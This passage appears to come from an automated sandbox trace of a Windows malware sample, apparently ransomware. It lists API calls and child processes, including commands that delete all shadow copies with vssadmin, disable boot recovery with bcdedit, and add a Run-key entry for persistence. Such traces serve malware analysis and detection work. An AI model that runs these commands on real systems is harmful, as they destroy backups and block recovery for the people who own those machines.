	[0172.875] free (_Block=0xcc310) 
	[0172.875] free (_Block=0xc8140) 
	[0172.875] free (_Block=0xcc3f0) 
	[0172.875] free (_Block=0xcc410) 
	[0172.876] free (_Block=0xc8240) 
	[0172.876] free (_Block=0xcc2b0) 
	[0172.876] free (_Block=0xcc2d0) 
	[0172.876] free (_Block=0xc8100) 
	[0172.876] free (_Block=0xcc330) 
	[0172.876] free (_Block=0xcc350) 
	[0172.876] free (_Block=0xc8180) 
	[0172.876] free (_Block=0xcc370) 
	[0172.877] free (_Block=0xcc390) 
	[0172.877] free (_Block=0xc81c0) 
	[0172.877] free (_Block=0xcc430) 
	[0172.877] free (_Block=0xcc450) 
	[0172.877] free (_Block=0xc8280) 
	[0172.877] CoUninitialize () 
	[0174.181] exit (_Code=-2147217388) 
	[0174.182] free (_Block=0xc6d50) 
	[0174.182] free (_Block=0xc7c10) 
	[0174.182] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0174.182] free (_Block=0xc6e40) 
	[0174.182] free (_Block=0xc6540) 
	[0174.182] free (_Block=0xc7bd0) 
	[0174.182] free (_Block=0xc7b90) 
	[0174.182] free (_Block=0xc7b40) 
	[0174.182] free (_Block=0xc7b00) 
	[0174.183] free (_Block=0xc7aa0) 
	[0174.183] free (_Block=0xc5a80) 
	[0174.183] free (_Block=0xc5a40) 
	[0174.183] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0174.183] free (_Block=0xcc850) 

Thread:
	id = 229
	os_tid = 0xc58


Thread:
	id = 351
	os_tid = 0xe5c


Thread:
	id = 378
	os_tid = 0xed4


Thread:
	id = 379
	os_tid = 0xed8


Thread:
	id = 380
	os_tid = 0xedc


Process:
	id = "21"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x31853000"
	os_pid = "0xb94"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0x858"
	cmd_line = "vssadmin.exe  Delete Shadows /all /quiet"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 108
	os_tid = 0x32c


Thread:
	id = 182
	os_tid = 0x908


Thread:
	id = 216
	os_tid = 0xc18


Thread:
	id = 232
	os_tid = 0xc6c


Thread:
	id = 233
	os_tid = 0xc70


Process:
	id = "22"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x31057000"
	os_pid = "0x518"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "15"
	os_parent_pid = "0x304"
	cmd_line = "bcdedit  /set {default} recoveryenabled No "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 109
	os_tid = 0x788


Process:
	id = "23"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x306db000"
	os_pid = "0x938"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 112
	os_tid = 0x74c

	[0128.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f7b0 | out: lpSystemTimeAsFileTime=0x22f7b0*(dwLowDateTime=0x1e0084f0, dwHighDateTime=0x1d5cdef)) 
	[0128.395] GetCurrentProcessId () returned 0x938
	[0128.395] GetCurrentThreadId () returned 0x74c
	[0128.395] GetTickCount () returned 0x1166a38
	[0128.395] QueryPerformanceCounter (in: lpPerformanceCount=0x22f7b8 | out: lpPerformanceCount=0x22f7b8*=27014827360) returned 1
	[0128.398] GetModuleHandleW (lpModuleName=0x0) returned 0x4a450000
	[0128.398] __set_app_type (_Type=0x1) 
	[0128.399] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a477810) returned 0x0
	[0128.399] __getmainargs (in: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610, _DoWildCard=0, _StartInfo=0x4a47e0f4 | out: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610) returned 0
	[0128.400] GetCurrentThreadId () returned 0x74c
	[0128.400] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x74c) returned 0x3c
	[0128.401] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0128.401] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0128.401] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0128.406] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0128.406] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22f748 | out: phkResult=0x22f748*=0x0) returned 0x2
	[0128.406] VirtualQuery (in: lpAddress=0x22f730, lpBuffer=0x22f6b0, dwLength=0x30 | out: lpBuffer=0x22f6b0*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0128.406] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22f6b0, dwLength=0x30 | out: lpBuffer=0x22f6b0*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0128.407] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22f6b0, dwLength=0x30 | out: lpBuffer=0x22f6b0*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0128.407] VirtualQuery (in: lpAddress=0x134000, lpBuffer=0x22f6b0, dwLength=0x30 | out: lpBuffer=0x22f6b0*(BaseAddress=0x134000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0128.407] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22f6b0, dwLength=0x30 | out: lpBuffer=0x22f6b0*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0128.407] GetConsoleOutputCP () returned 0x1b5
	[0128.409] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0128.410] SetConsoleCtrlHandler (HandlerRoutine=0x4a473184, Add=1) returned 1
	[0128.410] _get_osfhandle (_FileHandle=1) returned 0x7
	[0128.410] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0128.414] _get_osfhandle (_FileHandle=1) returned 0x7
	[0128.414] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0128.415] _get_osfhandle (_FileHandle=1) returned 0x7
	[0128.415] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0128.416] _get_osfhandle (_FileHandle=0) returned 0x3
	[0128.416] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0128.417] _get_osfhandle (_FileHandle=0) returned 0x3
	[0128.417] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0128.418] GetEnvironmentStringsW () returned 0x368bf0*
	[0128.418] GetProcessHeap () returned 0x350000
	[0128.418] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa7c) returned 0x369680
	[0128.419] FreeEnvironmentStringsW (penv=0x368bf0) returned 1
	[0128.419] GetProcessHeap () returned 0x350000
	[0128.420] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x368a70
	[0128.420] GetEnvironmentStringsW () returned 0x368bf0*
	[0128.420] GetProcessHeap () returned 0x350000
	[0128.420] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa7c) returned 0x36a110
	[0128.420] FreeEnvironmentStringsW (penv=0x368bf0) returned 1
	[0128.420] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e608 | out: phkResult=0x22e608*=0x44) returned 0x0
	[0128.421] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x0, lpData=0x22e620*=0x18, lpcbData=0x22e604*=0x1000) returned 0x2
	[0128.421] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x1, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.421] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x0, lpData=0x22e620*=0x1, lpcbData=0x22e604*=0x1000) returned 0x2
	[0128.421] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x0, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.421] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x40, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.421] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x40, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.421] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x0, lpData=0x22e620*=0x40, lpcbData=0x22e604*=0x1000) returned 0x2
	[0128.422] RegCloseKey (hKey=0x44) returned 0x0
	[0128.422] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e608 | out: phkResult=0x22e608*=0x44) returned 0x0
	[0128.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x0, lpData=0x22e620*=0x40, lpcbData=0x22e604*=0x1000) returned 0x2
	[0128.422] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x1, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x0, lpData=0x22e620*=0x1, lpcbData=0x22e604*=0x1000) returned 0x2
	[0128.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x0, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.423] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x9, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.423] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x4, lpData=0x22e620*=0x9, lpcbData=0x22e604*=0x4) returned 0x0
	[0128.423] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e600, lpData=0x22e620, lpcbData=0x22e604*=0x1000 | out: lpType=0x22e600*=0x0, lpData=0x22e620*=0x9, lpcbData=0x22e604*=0x1000) returned 0x2
	[0128.423] RegCloseKey (hKey=0x44) returned 0x0
	[0128.423] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e658
	[0128.423] srand (_Seed=0x5e22e658) 
	[0128.423] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	[0128.423] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	[0128.424] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0128.424] GetProcessHeap () returned 0x350000
	[0128.424] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x36aba0
	[0128.424] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36abb0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0128.425] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0128.425] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0128.425] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0128.425] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0128.425] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0128.426] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0128.426] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0128.426] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0128.426] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0128.426] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0128.426] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0128.426] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0128.426] GetProcessHeap () returned 0x350000
	[0128.426] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369680 | out: hHeap=0x350000) returned 1
	[0128.426] GetEnvironmentStringsW () returned 0x368bf0*
	[0128.427] GetProcessHeap () returned 0x350000
	[0128.427] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa94) returned 0x36b860
	[0128.427] FreeEnvironmentStringsW (penv=0x368bf0) returned 1
	[0128.427] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0128.427] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0128.427] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0128.427] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0128.427] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0128.428] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0128.428] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0128.428] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0128.428] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0128.428] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0128.428] GetProcessHeap () returned 0x350000
	[0128.428] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x38) returned 0x366620
	[0128.428] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22f410 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0128.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x22f410, lpFilePart=0x22f3f0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x22f3f0*="system32") returned 0x13
	[0128.429] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0128.429] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x22f120 | out: lpFindFileData=0x22f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd0000cd, cFileName="Windows", cAlternateFileName="")) returned 0x351320
	[0128.429] FindClose (in: hFindFile=0x351320 | out: hFindFile=0x351320) returned 1
	[0128.429] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x22f120 | out: lpFindFileData=0x22f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd0000cd, cFileName="System32", cAlternateFileName="")) returned 0x351320
	[0128.430] FindClose (in: hFindFile=0x351320 | out: hFindFile=0x351320) returned 1
	[0128.430] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0128.430] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0128.430] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0128.430] GetProcessHeap () returned 0x350000
	[0128.430] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36b860 | out: hHeap=0x350000) returned 1
	[0128.430] GetEnvironmentStringsW () returned 0x368bf0*
	[0128.430] GetProcessHeap () returned 0x350000
	[0128.431] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xac4) returned 0x36adc0
	[0128.431] FreeEnvironmentStringsW (penv=0x368bf0) returned 1
	[0128.431] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0128.431] GetProcessHeap () returned 0x350000
	[0128.431] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x366620 | out: hHeap=0x350000) returned 1
	[0128.431] GetProcessHeap () returned 0x350000
	[0128.431] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4016) returned 0x36cdd0
	[0128.432] GetProcessHeap () returned 0x350000
	[0128.432] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x128) returned 0x36b890
	[0128.432] GetProcessHeap () returned 0x350000
	[0128.432] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cdd0 | out: hHeap=0x350000) returned 1
	[0128.432] GetConsoleOutputCP () returned 0x1b5
	[0128.605] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0128.605] GetUserDefaultLCID () returned 0x409
	[0128.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a487b50, cchData=8 | out: lpLCData=":") returned 2
	[0128.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22f520, cchData=128 | out: lpLCData="0") returned 2
	[0128.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22f520, cchData=128 | out: lpLCData="0") returned 2
	[0128.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22f520, cchData=128 | out: lpLCData="1") returned 2
	[0128.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a49a740, cchData=8 | out: lpLCData="/") returned 2
	[0128.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a49a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a49a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a49a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a49a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a49a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a49a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a49a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a487b40, cchData=8 | out: lpLCData=".") returned 2
	[0128.609] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a49a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0128.609] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0128.611] GetProcessHeap () returned 0x350000
	[0128.611] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x20c) returned 0x36ba30
	[0128.611] GetConsoleTitleW (in: lpConsoleTitle=0x36ba30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0128.611] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0128.611] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0128.612] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0128.612] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0128.613] GetProcessHeap () returned 0x350000
	[0128.613] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4012) returned 0x36cdd0
	[0128.613] GetProcessHeap () returned 0x350000
	[0128.613] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cdd0 | out: hHeap=0x350000) returned 1
	[0128.614] _wcsicmp (_String1="REG", _String2=")") returned 73
	[0128.614] _wcsicmp (_String1="FOR", _String2="REG") returned -12
	[0128.614] _wcsicmp (_String1="FOR/?", _String2="REG") returned -12
	[0128.614] _wcsicmp (_String1="IF", _String2="REG") returned -9
	[0128.614] _wcsicmp (_String1="IF/?", _String2="REG") returned -9
	[0128.614] _wcsicmp (_String1="REM", _String2="REG") returned 6
	[0128.615] _wcsicmp (_String1="REM/?", _String2="REG") returned 6
	[0128.615] GetProcessHeap () returned 0x350000
	[0128.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0) returned 0x36bc50
	[0128.615] GetProcessHeap () returned 0x350000
	[0128.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x18) returned 0x368a90
	[0128.625] GetProcessHeap () returned 0x350000
	[0128.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x11e) returned 0x36bd10
	[0128.627] GetConsoleTitleW (in: lpConsoleTitle=0x22f430, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0128.628] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0128.628] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0128.629] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0128.629] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0128.629] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0128.629] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0128.629] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0128.629] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0128.629] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0128.629] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0128.629] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0128.629] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0128.629] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0128.629] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0128.629] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0128.630] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0128.630] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0128.630] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0128.630] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0128.630] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0128.630] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0128.630] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0128.630] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0128.630] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0128.630] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0128.630] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0128.630] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0128.630] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0128.630] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0128.630] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
